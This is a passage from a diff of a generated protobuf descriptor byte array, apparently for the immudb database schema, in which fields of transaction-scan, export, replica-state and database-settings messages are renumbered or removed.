0x18, 0x0a, 0x07, + 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, + 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x3a, + 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, + 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, + 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xc7, 0x01, 0x0a, 0x0d, 0x54, + 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, + 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, + 0x6d, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, + 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, + 0x64, 0x65, 0x73, 0x63, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, + 0x70, 0x65, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, - 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, + 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, - 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, - 0x57, 0x61, 0x69, 0x74, 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, - 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, - 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, - 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, - 0x22, 0xc7, 0x01, 0x0a, 0x0d, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, - 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, - 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, - 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, - 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, - 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x2d, 0x0a, 0x06, 0x54, 0x78, - 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x22, 0xc0, 0x01, 0x0a, 0x0f, 0x45, 0x78, - 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, - 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x2c, 0x0a, - 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, - 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, - 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x12, 0x3f, 0x0a, 0x0c, 0x72, - 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x52, 0x0c, - 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x0a, 0x12, - 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, - 0x63, 0x6b, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, - 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x22, 0xc2, 0x01, 0x0a, - 0x0c, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x12, 0x0a, - 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, - 0x44, 0x12, 0x24, 0x0a, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, - 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x63, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x12, 0x2a, 0x0a, 0x10, 0x70, - 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, - 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, - 0x68, 0x22, 0x2e, 0x0a, 0x08, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, - 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, - 0x65, 0x22, 0xc0, 0x03, 0x0a, 0x10, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x72, 0x65, - 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x72, 0x65, 0x70, - 0x6c, 0x69, 0x63, 0x61, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, - 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x20, - 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, - 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, - 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, - 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, - 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, - 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, - 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, - 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, - 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, - 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, - 0x09, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, - 0x12, 0x20, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, - 0x0a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, - 0x65, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, - 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, - 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, - 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x54, 0x69, 0x6d, 0x65, 0x22, 0x92, 0x01, 0x0a, 0x15, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, + 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, + 0x57, 0x61, 0x69, 0x74, 0x22, 0x2d, 0x0a, 0x06, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, + 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x03, + 0x74, 0x78, 0x73, 0x22, 0xc0, 0x01, 0x0a, 0x0f, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x2c, 0x0a, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, + 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, + 0x69, 0x74, 0x74, 0x65, 0x64, 0x12, 0x3f, 0x0a, 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, + 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, + 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x52, 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, + 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x0a, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, + 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, + 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x22, 0xc2, 0x01, 0x0a, 0x0c, 0x52, 0x65, 0x70, 0x6c, 0x69, + 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x24, 0x0a, 0x0d, 0x63, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, + 0x44, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, + 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, + 0x65, 0x64, 0x41, 0x6c, 0x68, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, + 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, + 0x44, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, + 0x64, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x70, 0x72, 0x65, 0x63, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x22, 0x2e, 0x0a, 0x08, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xc0, 0x03, 0x0a, 0x10, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x28, + 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, + 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x70, + 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, + 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, + 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, + 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, + 0x12, 0x1a, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, + 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x20, 0x0a, 0x0b, 0x6d, 0x61, + 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x12, 0x22, 0x0a, 0x0c, + 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, + 0x12, 0x2c, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x65, 0x78, 0x63, + 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x22, 0x92, + 0x01, 0x0a, 0x15, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, + 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, + 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, + 0x73, 0x74, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x16, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, - 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x69, 0x66, - 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x16, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 